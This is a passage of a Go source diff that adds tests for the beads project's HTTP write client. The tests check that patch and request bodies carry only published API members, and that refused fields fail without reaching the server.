owner.Name(), field, row.ID, row.Kind) + } +} + +// TestNoWriteLedgerRowSurvivesTheFieldItRefuses is the ledger -> source +// direction: a W- row whose field started serving, or stopped existing. +// +// The rows this owns are exactly the ones encode/bijection_test.go exempts — +// "rows about the WRITE shapes are deliberately exempt: this package encodes no +// request bodies" — so between the two gates every field-shaped row in the +// ledger is now held to a table. +// ONE SOURCE TYPE MAY HAVE SEVERAL SHAPES, and since client wave ga-mijra one +// does: issueops.IssuePatch is the body of updateIssue's patch document AND of +// an issues:batchApply update item's, and the two allowlists differ in BOTH +// directions — `owner` is published by the batch's and not the single patch's, +// `parent_id` by the single patch's and not the batch's. So a row is a leftover +// only when EVERY shape over its source carries the field; a row refusing a +// field one shape carries and another refuses is the whole point of having two. +func TestNoWriteLedgerRowSurvivesTheFieldItRefuses(t *testing.T) { + shapes := map[reflect.Type][]writeShape{} + for _, shape := range writeShapes() { + shapes[shape.source] = append(shapes[shape.source], shape) + } + + var seen int + for _, row := range encode.Ledger() { + if row.Type == nil { + continue + } + over, ok := shapes[row.Type] + if !ok { + continue // a read shape; the encoder bijection owns it. + } + // A RETIRED row is not a leftover, it is the record OF one: it says the + // wire published the member and this client now sends it, so "every + // shape carries the field" is precisely the state it describes. It keeps + // its Type and Field rather than dropping them — the reflect.Type binding + // is what makes a renamed field a compile error instead of a stale string + // — so the skip is by KIND and not by an absent coordinate. + if row.Kind == encode.KindRetired { + continue + } + seen++ + var carriedBy []string + for _, shape := range over { + how, carried := shape.carried[row.Field] + switch { + case !carried: + // The ordinary case: an excluded field with its row. + case how.partial == row.ID: + // The partial case: carried in one SHAPE, refused in one MODE. + default: + carriedBy = append(carriedBy, fmt.Sprintf("%s as %v", shape.name, how.members())) + } + } + if len(carriedBy) == len(over) { + t.Errorf("ledger row %s refuses %s.%s, which every shape over that type carries: %s.\n"+ + "Either the row is a leftover from before the member landed, or the table is wrong.", + row.ID, row.Type.Name(), row.Field, strings.Join(carriedBy, "; ")) + } + } + if seen == 0 { + t.Fatal("no write-shape ledger rows were found; either the W- population was deleted or the shape types moved") + } +} + +// TestTheEncodedPatchDocumentUsesOnlyPublishedMembers drives the real encoder. +// +// The patch is the one write body this client builds as a DOCUMENT rather than +// a struct — presence is the signal and an explicit null is the clear, which no +// struct of `omitempty` pointers can express — so the compiler checks nothing +// about its member names. A typo would produce a 400 from a live server and +// pass every test in this package that does not dial one. +func TestTheEncodedPatchDocumentUsesOnlyPublishedMembers(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.IssuePatchBody{})) + + patch := issueops.IssuePatch{} + setEvery := reflect.ValueOf(&patch).Elem() + var wantMembers []string + for name, how := range patchShape(t).carried { + setPatchField(t, setEvery.FieldByName(name)) + // members() rather than .member, because one field can drive several: + // the ordered label edit is three flat siblings on this body, and reading + // the singular would have wanted an empty name and missed two. + wantMembers = append(wantMembers, how.members()...) + } + + document, err := encodeIssuePatch(patch) + if err != nil { + t.Fatalf("a patch setting every carried member refused: %v", err) + } + for name := range document { + if !published[name] { + t.Errorf("the encoded patch carries %q, which IssuePatchBody does not publish: %v", + name, sortedKeys(published)) + } + } + sort.Strings(wantMembers) + got := sortedKeys(toSet(document)) + if strings.Join(got, ",") != strings.Join(wantMembers, ",") { + t.Errorf("the encoded patch carries\n %v\nwant the table's carried members\n %v", got, wantMembers) + } +} + +// TestEveryWriteWireBodyIsClassified keeps the table above from going stale by +// omission: a write operation added to the transport seam with no entry here +// would leave its request shape entirely unguarded, and nothing else would say +// so. +// +// It reflects WriteWire's REAL method set rather than a hand-copied name slice, +// so a write method added to the transport seam tomorrow cannot escape the guard +// by being left off a second list — the failure the hand-copied version could +// not see. +func TestEveryWriteWireBodyIsClassified(t *testing.T) { + classified := map[string]bool{} + for _, shape := range writeShapes() { + classified[shape.name] = true + } + + // The WriteWire methods that carry NO request body to classify, each with the + // reason. They are excluded by SHAPE, not by choice: RecallMemory, ForgetMemory + // and ListMemories take a path or a query only, ListReadyWork takes a query, + // and RememberMemory's body is memoryops' own type, pinned by the memory role's + // own contract. The set is held to the real interface below, so a rename cannot + // leave a phantom that silences a future body. + bodiless := map[string]string{ + "RememberMemory": "carries memoryops.RememberRequest, pinned by the memory role's own contract", + "RecallMemory": "takes a key path only", + "ForgetMemory": "takes a key path only", + "ListMemories": "takes a search query only", + "ListReadyWork": "takes a url.Values query only", + // The one method whose body is a SCALAR and whose interesting half is a + // query. apigen.ClaimNextRequest publishes `actor` and nothing else — the + // operation says so in as many words — so there is no role struct to + // partition and no member a shape could hide. What COULD hide a dropped + // member is the filter, and that travels as the ready listing's query + // string through the ready encoder table, which the bijection gate above + // already owns. Classifying a one-scalar body here would add a row that + // can only ever say "actor is carried". + "ClaimNextIssue": "carries apigen.ClaimNextRequest, whose only member is the actor; the FILTER travels as listReadyWork's query and is owned by the encoder bijection", + } + + wireType := reflect.TypeOf((*WriteWire)(nil)).Elem() + if wireType.NumMethod() == 0 { + t.Fatal("WriteWire reflects no methods; the write door would be unguarded") + } + checked := 0 + for i := range wireType.NumMethod() { + method := wireType.Method(i).Name + if _, excluded := bodiless[method]; excluded { + continue + } + checked++ + op := lowerFirst(method) + if !classified[op] { + t.Errorf("WriteWire.%s puts a body on the wire and no writeShape classifies it (op %q): "+ + "add it to writeShapes, or exclude it by shape in bodiless with a reason", method, op) + } + } + if checked == 0 { + t.Fatal("every WriteWire method was excluded; the reflective guard checked nothing") + } + + // The exclusion list cannot outlive its methods: a name here that WriteWire no + // longer declares is a stale phantom that would silence a future body reusing it. + for name, why := range bodiless { + if _, ok := wireType.MethodByName(name); !ok { + t.Errorf("bodiless names %q (%s), which WriteWire no longer declares; drop it", name, why) + } + } +} + +// lowerFirst maps a WriteWire method name onto its operationId, which is the +// same name with a lowercase initial: ClaimIssue -> claimIssue. +func lowerFirst(s string) string { + if s == "" { + return s + } + r := []rune(s) + r[0] = unicode.ToLower(r[0]) + return string(r) +} + +func patchShape(t *testing.T) writeShape { + t.Helper() + return shapeNamed(t, "updateIssue/patch") +} + +// shapeNamed selects one classified shape BY NAME, which is what the two +// document gates need now that issueops.IssuePatch has two of them: selecting +// by source type would hand whichever came first in the table, and the two +// publish different members. +func shapeNamed(t *testing.T, name string) writeShape { + t.Helper() + for _, shape := range writeShapes() { + if shape.name == name { + return shape + } + } + t.Fatalf("no write shape is named %q", name) + return writeShape{} +} + +// setPatchField sets one issueops.Field member so the encoder sees it as +// present. Two members are not Fields at all: Labels is a LabelPatch, whose +// three arms are all served, and Metadata is a MetadataPatch, whose four arms +// are classified as a shape of their own. +func setPatchField(t *testing.T, v reflect.Value) { + t.Helper() + if !v.CanSet() { + t.Fatalf("cannot set a %s", v.Type()) + } + switch v.Type() { + case reflect.TypeOf(issueops.LabelPatch{}): + // ALL THREE ARMS, because all three are carried now: the document gate + // compares the encoded members against the table's spread, so driving + // only the replace would let a dropped add_labels pass. + replace := v.FieldByName("Replace") + replace.FieldByName("Set").SetBool(true) + replace.FieldByName("Value").Set(reflect.ValueOf([]string{"gate-sentinel"})) + v.FieldByName("Add").Set(reflect.ValueOf([]string{"gate-added"})) + v.FieldByName("Remove").Set(reflect.ValueOf([]string{"gate-removed"})) + return + case reflect.TypeOf(issueops.MetadataPatch{}): + // The CLEAR, for the reason the comment below gives about a zero + // nullable: a set Replace holding no bytes is the state a struct of + // `omitempty` members cannot spell, so it is the arm worth driving here. + replace := v.FieldByName("Replace") + replace.FieldByName("Set").SetBool(true) + return + } + set := v.FieldByName("Set") + if !set.IsValid() { + t.Fatalf("%s is neither a Field, a LabelPatch nor a MetadataPatch", v.Type()) + } + set.SetBool(true) + // The Value stays zero. Presence is what the encoder reads, and a zero + // pointer on one of the nullable members is the CLEAR — which still has to + // produce the member, so leaving it zero exercises the harder arm. +} + +type fieldKey struct { + owner reflect.Type + field string +} + +func ledgerRowsByField(t *testing.T) map[fieldKey]encode.Row { + t.Helper() + rows := map[fieldKey]encode.Row{} + for _, row := range encode.Ledger() { + if row.Type == nil { + continue + } + rows[fieldKey{row.Type, row.Field}] = row + } + if len(rows) == 0 { + t.Fatal("the divergence ledger carries no field-shaped rows") + } + return rows +} + +func checkRefusalRow(t *testing.T, rows map[fieldKey]encode.Row, owner reflect.Type, field, id string) { + t.Helper() + row, ok := rows[fieldKey{owner, field}] + if !ok { + t.Errorf("%s.%s cites ledger row %s, which names no such field", owner.Name(), field, id) + return + } + if row.ID != id { + t.Errorf("%s.%s cites ledger row %s; the row naming that field is %s", owner.Name(), field, id, row.ID) + } + if row.Kind != encode.KindRefuse { + t.Errorf("ledger row %s is %q; a partially-carried member must REFUSE the shape it cannot express", row.ID, row.Kind) + } +} + +// bodyMembers reads a wire body's published members off its JSON tags — the +// generated type is the document's own output, so this is the document talking. +func bodyMembers(t *testing.T, body reflect.Type) map[string]bool { + t.Helper() + if body == nil || body.Kind() != reflect.Struct { + t.Fatalf("wire body %v is not a struct type", body) + } + out := map[string]bool{} + for i := range body.NumField() { + f := body.Field(i) + if !f.IsExported() { + continue + } + name, _, _ := strings.Cut(f.Tag.Get("json"), ",") + if name == "" || name == "-" { + t.Errorf("%s.%s carries no json member name", body.Name(), f.Name) + continue + } + out[name] = true + } + if len(out) == 0 { + t.Fatalf("wire body %s publishes no members", body.Name()) + } + return out +} + +// populatableFields lists the fields of a request shape a caller can set. It is +// the same rule encode/bijection_test.go applies to the read shapes: unexported +// fields are excluded because no caller outside their package can set one. +func populatableFields(rt reflect.Type) []string { + var out []string + for i := range rt.NumField() { + f := rt.Field(i) + if !f.IsExported() { + continue + } + if f.Anonymous { + et := f.Type + for et.Kind() == reflect.Pointer { + et = et.Elem() + } + if et.Kind() == reflect.Struct { + out = append(out, populatableFields(et)...) + continue + } + } + out = append(out, f.Name) + } + return out +} + +func sortedKeys(m map[string]bool) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} + +func toSet(m map[string]any) map[string]bool { + out := make(map[string]bool, len(m)) + for k := range m { + out[k] = true + } + return out +} diff --git a/internal/httpclient/write_roles_test.go b/internal/httpclient/write_roles_test.go new file mode 100644 index 000000000..e58916379 --- /dev/null +++ b/internal/httpclient/write_roles_test.go @@ -0,0 +1,1814 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/write_roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/url" + "reflect" + "strconv" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// TestTheWireClientSatisfiesTheWriteSeam is the only compile-time proof that the +// interface the store declares and the methods the transport grew are the same +// set. +// +// Production never makes this assertion: the store is deliberately transport- +// free — a build links one through RegisterWireDialer — so nothing in the +// dependency graph forces the two to agree. A signature that drifted would +// otherwise surface as a failed type assertion at the first dial, in the +// activation bead's code, with neither side's author present. +func TestTheWireClientSatisfiesTheWriteSeam(t *testing.T) { + var _ WriteWire = (*wire.Client)(nil) +} + +// stubWire answers the write surface from canned values and records what it was +// asked. Every method that a test does not arm answers a zero value, which is +// what makes "this role dialed something it should have refused" visible: the +// recorded call list is empty on a correct refusal. +type stubWire struct { + res *apigen.ContextResponse + + calls []string + + claim *apigen.ClaimResponse + close *apigen.CloseIssueResponse + batchClose *apigen.BatchCloseResponse + reopen *apigen.ReopenIssueResponse + update *apigen.UpdateIssueResponse + added *apigen.AddDependenciesResponse + removed *apigen.RemoveDependencyResponse + remember *apigen.RememberedMemory + memory *apigen.Memory + page *apigen.MemoriesPage + ready []*apigen.ReadyPage + swept *apigen.SweepResult + deleted *apigen.DeleteIssuesResult + created *apigen.BatchCreateResponse + created1 *apigen.Issue + cas *apigen.CompareAndSetMetadataResponse + applied *apigen.ApplyBatchResponse + released *apigen.ReleaseIssueResponse + // commented is the appended comment the stub answers with. A nil one is + // answered as a nil BODY rather than as a synthesized row, unlike the + // created/applied defaults above: "the server answered 200 with no comment" + // is a state the Commenter role has to have an answer for, and a stub that + // invented a row could not drive it. + commented *apigen.Comment + // claimedNext is the served claimNext answer. A nil one is answered as a nil + // BODY, for commented's reason. + claimedNext *apigen.ClaimNextResponse + + // err is returned by the next operation of any kind, then cleared, so a + // test can arm one refusal in the middle of a loop. + errs []error + + // lastPatch is the document the update role built, which is the one thing + // about that role no result can show. + lastClaimNextParams url.Values + lastClaimNextBody apigen.ClaimNextRequest + + lastPatch map[string]any + lastGuards wire.UpdateGuards + lastFlags wire.UpdateFlags + lastClose apigen.CloseIssueRequest + lastReopen apigen.ReopenIssueRequest + lastBatchClose apigen.BatchCloseRequest + lastAdd apigen.AddDependenciesRequest + lastSearch string + lastSweep apigen.SweepRequest + lastDelete apigen.DeleteIssuesRequest + lastBatchCreate apigen.BatchCreateRequest + lastCreate apigen.CreateIssueRequest + lastCAS apigen.CompareAndSetMetadataRequest + lastApply wire.ApplyBatchRequest + lastRelease apigen.ReleaseIssueRequest + lastComment apigen.AddCommentRequest +} + +func (s *stubWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + if s.res == nil { + return &apigen.ContextResponse{}, nil + } + return s.res, nil +} + +// The read half of the seam, which the WRITE roles never touch: they dispatch +// through operation-shaped methods above, not through the generic pair. Both +// fail loudly rather than answering, so a write role that started routing +// through the read path would say so instead of quietly recording no call. +func (s *stubWire) Preflight(_ context.Context, op string) error { + return fmt.Errorf("stubWire: the write seam does not pre-flight %q", op) +} + +func (s *stubWire) Do(_ context.Context, req wire.Request, _ any) error { + return fmt.Errorf("stubWire: the write seam does not dispatch %q generically", req.Op) +} + +// WatchEvents is the stream half of the seam, which the write roles never touch. +// It fails loudly rather than answering, so a write role that started streaming +// would say so instead of quietly opening nothing. +func (s *stubWire) WatchEvents(_ context.Context, since int64) (*wire.EventStream, error) { + return nil, fmt.Errorf("stubWire: the write seam does not watch (since=%d)", since) +} + +func (s *stubWire) record(op string) error { + s.calls = append(s.calls, op) + if len(s.errs) > 0 { + err := s.errs[0] + s.errs = s.errs[1:] + return err + } + return nil +} + +func (s *stubWire) ClaimIssue(_ context.Context, id string, _ apigen.ClaimRequest) (*apigen.ClaimResponse, error) { + if err := s.record("claimIssue:" + id); err != nil { + return nil, err + } + return s.claim, nil +} + +// ClaimNextIssue answers the prepared claim and records the QUERY, which is the +// half of this operation no result can show: the filter travels as a query +// string, so what the client asked for is only visible here. +// +// A nil claimedNext is answered as a nil BODY rather than as a synthesized +// response, like commented above: "the server answered 200 with nothing" is a +// state this role has to have an answer for. +func (s *stubWire) ClaimNextIssue(_ context.Context, params url.Values, body apigen.ClaimNextRequest) (*apigen.ClaimNextResponse, error) { + s.lastClaimNextParams = params + s.lastClaimNextBody = body + if err := s.record("claimNextIssue"); err != nil { + return nil, err + } + return s.claimedNext, nil +} + +func (s *stubWire) CloseIssue(_ context.Context, id string, body apigen.CloseIssueRequest) (*apigen.CloseIssueResponse, error) { + s.lastClose = body + if err := s.record("closeIssue:" + id); err != nil { + return nil, err + } + return s.close, nil +} + +func (s *stubWire) BatchCloseIssues(_ context.Context, body apigen.BatchCloseRequest) (*apigen.BatchCloseResponse, error) { + s.lastBatchClose = body + if err := s.record("batchCloseIssues"); err != nil { + return nil, err + } + return s.batchClose, nil +} + +func (s *stubWire) ReopenIssue(_ context.Context, id string, body apigen.ReopenIssueRequest) (*apigen.ReopenIssueResponse, error) { + s.lastReopen = body + if err := s.record("reopenIssue:" + id); err != nil { + return nil, err + } + return s.reopen, nil +} + +func (s *stubWire) UpdateIssue(_ context.Context, id, _ string, patch map[string]any, guards wire.UpdateGuards, flags wire.UpdateFlags) (*apigen.UpdateIssueResponse, error) { + s.lastPatch = patch + s.lastGuards = guards + s.lastFlags = flags + if err := s.record("updateIssue:" + id); err != nil { + return nil, err + } + return s.update, nil +} + +func (s *stubWire) ReleaseIssue(_ context.Context, id string, body apigen.ReleaseIssueRequest) (*apigen.ReleaseIssueResponse, error) { + s.lastRelease = body + if err := s.record("releaseIssue:" + id); err != nil { + return nil, err + } + if s.released == nil { + // The shape every 200 on this operation has: the post-release row, + // `changed` true because the role refuses every shape that would not + // write, and the reminted token BESIDE the row rather than on it — + // types.Issue.RowVersion is `json:"-"`, so a real decode never carries + // one and a stub that put it on the issue would hide the stitch. + return &apigen.ReleaseIssueResponse{ + Issue: apigen.Issue{ID: id, Status: types.StatusOpen}, + Changed: true, + Revision: "0", + }, nil + } + return s.released, nil +} + +func (s *stubWire) AddComment(_ context.Context, id string, body apigen.AddCommentRequest) (*apigen.Comment, error) { + s.lastComment = body + if err := s.record("addComment:" + id); err != nil { + return nil, err + } + return s.commented, nil +} + +func (s *stubWire) CompareAndSetMetadata(_ context.Context, id string, body apigen.CompareAndSetMetadataRequest) (*apigen.CompareAndSetMetadataResponse, error) { + s.lastCAS = body + if err := s.record("compareAndSetMetadata:" + id); err != nil { + return nil, err + } + if s.cas == nil { + return &apigen.CompareAndSetMetadataResponse{}, nil + } + return s.cas, nil +} + +func (s *stubWire) ApplyBatch(_ context.Context, body wire.ApplyBatchRequest) (*apigen.ApplyBatchResponse, error) { + s.lastApply = body + if err := s.record("applyBatch"); err != nil { + return nil, err + } + if s.applied == nil { + // The shape the operation promises: one result per requested item, in + // request order, echoing the kind the item carried, with every NAMED + // create bound in `keys` to the same id its own result carries. A stub + // that answered a shorter array, or left a declared key unbound, would + // be exercising the role's own guards rather than whatever the case is + // about. + items := make([]apigen.ApplyItemResult, 0, len(body.Items)) + keys := map[string]string{} + for i, item := range body.Items { + id := "stub-applied" + if item.Create != nil && item.Create.Key != nil && *item.Create.Key != "" { + id = fmt.Sprintf("stub-applied-%d", i) + keys[*item.Create.Key] = id + } + // `revision` is required on every result and is a decimal string + // (types.RevisionToken); "0" is the legacy token a real row holds. + items = append(items, apigen.ApplyItemResult{ + Kind: apigen.ApplyItemResultKind(item.Kind), IssueId: id, Changed: true, Revision: "0", + }) + } + return &apigen.ApplyBatchResponse{Keys: keys, Items: items}, nil + } + return s.applied, nil +} + +func (s *stubWire) CreateIssue(_ context.Context, body apigen.CreateIssueRequest) (*apigen.Issue, error) { + s.lastCreate = body + if err := s.record("createIssue"); err != nil { + return nil, err + } + if s.created1 == nil { + // The row as STORED: the id the server minted when the request named + // none, echoed back the way the operation's own response does. + id := derefOr(body.Id, "stub-created") + return &apigen.Issue{ID: id, Title: body.Title}, nil + } + return s.created1, nil +} + +func derefOr(v *string, fallback string) string { + if v == nil || *v == "" { + return fallback + } + return *v +} + +func (s *stubWire) AddDependencies(_ context.Context, body apigen.AddDependenciesRequest) (*apigen.AddDependenciesResponse, error) { + s.lastAdd = body + if err := s.record("addDependencies"); err != nil { + return nil, err + } + return s.added, nil +} + +func (s *stubWire) RemoveDependency(_ context.Context, _ apigen.RemoveDependencyRequest) (*apigen.RemoveDependencyResponse, error) { + if err := s.record("removeDependency"); err != nil { + return nil, err + } + return s.removed, nil +} + +func (s *stubWire) SweepIssues(_ context.Context, body apigen.SweepRequest) (*apigen.SweepResult, error) { + s.lastSweep = body + if err := s.record("sweepIssues"); err != nil { + return nil, err + } + if s.swept == nil { + return &apigen.SweepResult{}, nil + } + return s.swept, nil +} + +func (s *stubWire) DeleteIssues(_ context.Context, body apigen.DeleteIssuesRequest) (*apigen.DeleteIssuesResult, error) { + s.lastDelete = body + if err := s.record("deleteIssues"); err != nil { + return nil, err + } + if s.deleted == nil { + return &apigen.DeleteIssuesResult{}, nil + } + return s.deleted, nil +} + +func (s *stubWire) BatchCreateIssues(_ context.Context, body apigen.BatchCreateRequest) (*apigen.BatchCreateResponse, error) { + s.lastBatchCreate = body + if err := s.record("batchCreateIssues"); err != nil { + return nil, err + } + if s.created == nil { + // One echoed issue per requested item, which is the only answer the + // role accepts: a length mismatch is a server fault it reports rather + // than indexes into. + items := make([]apigen.Issue, len(body.Items)) + for i, item := range body.Items { + items[i] = types.Issue{ID: fmt.Sprintf("stub-%d", i), Title: item.Title} + } + return &apigen.BatchCreateResponse{Items: items}, nil + } + return s.created, nil +} + +func (s *stubWire) RememberMemory(_ context.Context, _ apigen.RememberRequest) (*apigen.RememberedMemory, error) { + if err := s.record("rememberMemory"); err != nil { + return nil, err + } + return s.remember, nil +} + +func (s *stubWire) RecallMemory(_ context.Context, key string) (*apigen.Memory, error) { + if err := s.record("getMemory:" + key); err != nil { + return nil, err + } + return s.memory, nil +} + +func (s *stubWire) ForgetMemory(_ context.Context, key string) (*apigen.Memory, error) { + if err := s.record("forgetMemory:" + key); err != nil { + return nil, err + } + return s.memory, nil +} + +func (s *stubWire) ListMemories(_ context.Context, search string) (*apigen.MemoriesPage, error) { + s.lastSearch = search + if err := s.record("listMemories"); err != nil { + return nil, err + } + return s.page, nil +} + +func (s *stubWire) ListReadyWork(_ context.Context, _ url.Values) (*apigen.ReadyPage, error) { + if err := s.record("listReadyWork"); err != nil { + return nil, err + } + if len(s.ready) == 0 { + return &apigen.ReadyPage{}, nil + } + page := s.ready[0] + if len(s.ready) > 1 { + s.ready = s.ready[1:] + } + return page, nil +} + +func stubStore(t *testing.T, w *stubWire) *Store { + t.Helper() + return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3"}) +} + +func set[T any](v T) issueops.Field[T] { return issueops.Field[T]{Set: true, Value: v} } + +// TestUpdateRefusesEveryMemberTheWireExcludes is the refuse-not-drop pin for the +// update path: every UpdateRequest member and every IssuePatch member the wire's +// issuePatchMembers list leaves out fails the request, and — the half that +// matters — fails it WITHOUT dialing. A refusal that reached the server would be +// a request the server answered on the members it did understand. +func TestUpdateRefusesEveryMemberTheWireExcludes(t *testing.T) { + minutes := 30 + + cases := map[string]issueops.UpdateRequest{ + "IssuePlaneOnly": {IssuePlaneOnly: true}, + "Provenance": {Provenance: "bd: update"}, + + "Patch.Owner": {Patch: issueops.IssuePatch{Owner: set("someone")}}, + "Patch.ClosedBySession": {Patch: issueops.IssuePatch{ClosedBySession: set("s1")}}, + "Patch.SpecID": {Patch: issueops.IssuePatch{SpecID: set("spec")}}, + "Patch.AwaitID": {Patch: issueops.IssuePatch{AwaitID: set("await")}}, + "Patch.Persistence": {Patch: issueops.IssuePatch{Persistence: set(issueops.PersistenceModeEphemeral)}}, + + // Patch.Labels.Add and Patch.Labels.Remove WERE here, and their absence + // is the flip rather than an oversight: upstream #5510 published + // add_labels and remove_labels, client wave ga-jpywb emits both, and + // W-IssuePatch.Labels is retired. What replaced these two rows is a + // positive assertion — TestUpdateSendsTheWholeOrderedLabelEdit — because + // the failure a retired refusal invites is a member that stopped being + // refused and never started being sent. + // + // ForceNotesOverwrite WAS here too, and left for the same reason + // (W-UpdateRequest.ForceNotesOverwrite is RETIRED): the single-patch + // updateIssue body now sends `force_notes_overwrite` exactly as + // issues:batchApply's update item already did. Claim, + // ForceAssigneeTransfer and ForceClosePolicy followed it (the #7247 + // review port; their rows are RETIRED too). The positive assertion for + // all four is TestUpdateSendsEachFlagOnlyWhenRequested, directly below + // TestUpdateSendsTheGuardTrio. + } + + for name, req := range cases { + // Each refusal holds beside a claim too. A claim used to be routed + // AHEAD of this walk, and a claim that skipped it again would carry + // these members to a server that drops them. + for _, claim := range []bool{false, true} { + t.Run(fmt.Sprintf("%s/claim=%t", name, claim), func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + // Every case carries a wire-expressible member too, so a refusal + // cannot be mistaken for the empty-patch validation failure. + req := req + req.Actor, req.IssueID, req.Claim = "writer", "bd-1", claim + req.Patch.Title = set("a title") + req.Patch.EstimatedMinutes = set(&minutes) + + if _, err := lifecycle.Update(t.Context(), req); !errors.Is(err, encode.ErrRefused) { + t.Fatalf("Update with %s = %v, want a refuse-not-drop refusal", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v; a refused member must never reach the server", w.calls) + } + }) + } + } +} + +// predatesUpdateClaim is the refusal a bd serve that predates `claim` on +// updateIssue (upstream #6890) answers a body carrying it with: the skew 400, +// naming the member, raised before the server does any database work. +func predatesUpdateClaim() error { + return &wire.ProblemError{ + Op: "updateIssue", Status: 400, Code: "invalid_argument", + Reason: encode.UnknownParameterReason, Param: "claim", + Detail: "this operation's request body carries actor, patch and nothing else", + } +} + +// TestUpdateClaimFallsBackToClaimIssueOnlyWhenNothingIsLost pins the one claim +// that does not ride updateIssue: a claim ALONE, against a server that refused +// `claim` as an unknown parameter. claimIssue's request is the actor alone, so +// it carries everything a claim-only request asked for — and nothing else, so +// every OTHER shape returns the skew refusal as it came rather than retrying +// as a claim that drops the patch, the guard or the override beside it. +// +// The refusals a CURRENT server answers on `claim` are not skew and must not +// fall back either: `invalid_value` naming `claim` is the claim beside a +// member it may not ride with, and a retry through claimIssue would serve the +// claim the server just refused. +func TestUpdateClaimFallsBackToClaimIssueOnlyWhenNothingIsLost(t *testing.T) { + version := int64(7) + holder := "someone" + + for _, tc := range []struct { + name string + req issueops.UpdateRequest + refusal error + wantCalls []string + }{ + { + name: "a claim alone retries as claimIssue", + req: issueops.UpdateRequest{}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1", "claimIssue:bd-1"}, + }, + { + name: "a claim with a patch does not", + req: issueops.UpdateRequest{Patch: issueops.IssuePatch{Title: set("claimed and renamed")}}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a claim with a version guard does not", + req: issueops.UpdateRequest{ExpectedVersion: &version}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a claim with an assignee guard does not", + req: issueops.UpdateRequest{ExpectedAssignee: &holder}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a claim with a close-policy override does not", + req: issueops.UpdateRequest{ForceClosePolicy: true}, + refusal: predatesUpdateClaim(), + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "a current server's invalid claim does not", + req: issueops.UpdateRequest{}, + refusal: &wire.ProblemError{ + Op: "updateIssue", Status: 400, Code: "invalid_argument", + Reason: "invalid_value", Param: "claim", + }, + wantCalls: []string{"updateIssue:bd-1"}, + }, + { + name: "skew on another member does not", + req: issueops.UpdateRequest{}, + refusal: &wire.ProblemError{ + Op: "updateIssue", Status: 400, Code: "invalid_argument", + Reason: encode.UnknownParameterReason, Param: "expected_version", + }, + wantCalls: []string{"updateIssue:bd-1"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{ + errs: []error{tc.refusal}, + claim: &apigen.ClaimResponse{ + Issue: apigen.Issue{ID: "bd-1", Status: types.StatusInProgress, Assignee: "writer"}, + }, + } + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID, req.Claim = "writer", "bd-1", true + + res, err := lifecycle.Update(t.Context(), req) + if !reflect.DeepEqual(w.calls, tc.wantCalls) { + t.Fatalf("Update dialed %v, want %v", w.calls, tc.wantCalls) + } + if len(tc.wantCalls) == 2 { + if err != nil { + t.Fatalf("the fallback claim: %v", err) + } + if res.Issue == nil || res.Issue.Assignee != "writer" || !res.Changed { + t.Errorf("the fallback answered %+v, want claimIssue's claimed row", res) + } + // claimIssue carries no revision, and no other snapshot's token + // may stand in for one. + if res.Issue != nil && res.Issue.RowVersion != 0 { + t.Errorf("the fallback stitched RowVersion %d onto a row claimIssue answered without one", res.Issue.RowVersion) + } + return + } + if !errors.Is(err, tc.refusal) { + t.Errorf("Update = %v, want the server's refusal returned as it came", err) + } + }) + } +} + +// TestUpdateEncodesPresenceAndTheNullableClears pins the one thing about the +// patch document that a result cannot show: an unset member is absent, a set +// member is present, and a set-but-nil nullable member is a literal null, which +// is the CLEAR. Collapsing the last two — which is what apigen's pointer members +// under `omitempty` would do — turns "clear the due date" into "leave it alone". +func TestUpdateEncodesPresenceAndTheNullableClears(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Changed: true, Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + due := time.Date(2026, 8, 8, 12, 0, 0, 0, time.UTC) + res, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{ + Title: set("new title"), + Priority: set(1), + IssueType: set(types.TypeTask), + DueAt: set(&due), + DeferUntil: set[*time.Time](nil), + EstimatedMinutes: set[*int](nil), + Labels: issueops.LabelPatch{Replace: set([]string{"x", "y"})}, + }, + }) + if err != nil { + t.Fatalf("Update: %v", err) + } + if !res.Changed { + t.Error("Changed = false, want the server's own answer") + } + + patch := w.lastPatch + if got, ok := patch["title"]; !ok || got != "new title" { + t.Errorf("patch[title] = %v (present %t), want the set value", got, ok) + } + if _, ok := patch["description"]; ok { + t.Error("patch carries description, which was never set — an unset member must be absent") + } + for _, member := range []string{"defer_until", "estimated_minutes"} { + got, ok := patch[member] + if !ok { + t.Errorf("patch omits %s, which was set to nil — the clear must reach the server as null", member) + continue + } + if got != nil { + t.Errorf("patch[%s] = %v, want a literal null", member, got) + } + } + if got := patch["due_at"]; got != due.Format(time.RFC3339Nano) { + t.Errorf("patch[due_at] = %v, want RFC 3339", got) + } + if got, want := patch["labels"], []string{"x", "y"}; !reflect.DeepEqual(got, want) { + t.Errorf("patch[labels] = %v, want 